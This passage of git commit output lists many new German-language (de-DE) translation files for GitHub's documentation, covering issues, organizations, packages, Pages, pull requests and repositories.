 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md
 create mode 100644 translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/about-issues.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/closing-an-issue.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/creating-an-issue.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/index.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/quickstart.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
 create mode 100644 translations/de-DE/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
 create mode 100644 translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md
 create mode 100644 translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md
 create mode 100644 translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
 create mode 100644 translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md
 create mode 100644 translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/index.md
 create mode 100644 translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
 create mode 100644 translations/de-DE/content/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/index.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-your-team/about-team-discussions.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-your-team/index.md
 create mode 100644 translations/de-DE/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md
 create mode 100644 translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
 create mode 100644 translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
 create mode 100644 translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
 create mode 100644 translations/de-DE/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/index.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/index.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md
 create mode 100644 translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/index.md
 create mode 100644 translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md
 create mode 100644 translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md
 create mode 100644 translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md
 create mode 100644 translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md
 create mode 100644 translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md
 create mode 100644 translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
 create mode 100644 translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/index.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/deleting-an-organization-account.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/index.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/renaming-an-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/transferring-organization-ownership.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service.md
 create mode 100644 translations/de-DE/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md
 create mode 100644 translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
 create mode 100644 translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
 create mode 100644 translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/index.md
 create mode 100644 translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/about-teams.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/changing-team-visibility.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/creating-a-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/deleting-a-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/index.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/renaming-a-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md
 create mode 100644 translations/de-DE/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
 create mode 100644 translations/de-DE/content/packages/index.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/about-permissions-for-github-packages.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/index.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/installing-a-package.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/introduction-to-github-packages.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/publishing-a-package.md
 create mode 100644 translations/de-DE/content/packages/learn-github-packages/viewing-packages.md
 create mode 100644 translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/about-github-packages-and-github-actions.md
 create mode 100644 translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/example-workflows-for-publishing-a-package.md
 create mode 100644 translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/index.md
 create mode 100644 translations/de-DE/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
 create mode 100644 translations/de-DE/content/packages/quickstart.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/index.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
 create mode 100644 translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
 create mode 100644 translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
 create mode 100644 translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
 create mode 100644 translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
 create mode 100644 translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
 create mode 100644 translations/de-DE/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/about-github-pages.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/index.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md
 create mode 100644 translations/de-DE/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md
 create mode 100644 translations/de-DE/content/pages/index.md
 create mode 100644 translations/de-DE/content/pages/quickstart.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
 create mode 100644 translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
 create mode 100644 translations/de-DE/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/index.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md
 create mode 100644 translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md
 create mode 100644 translations/de-DE/content/pull-requests/index.md
 create mode 100644 translations/de-DE/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md
 create mode 100644 translations/de-DE/content/repositories/archiving-a-github-repository/archiving-repositories.md
 create mode 100644 translations/de-DE/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
 create mode 100644 translations/de-DE/content/repositories/archiving-a-github-repository/index.md
 create mode 100644 translations/de-DE/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
 create mode 100644 translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
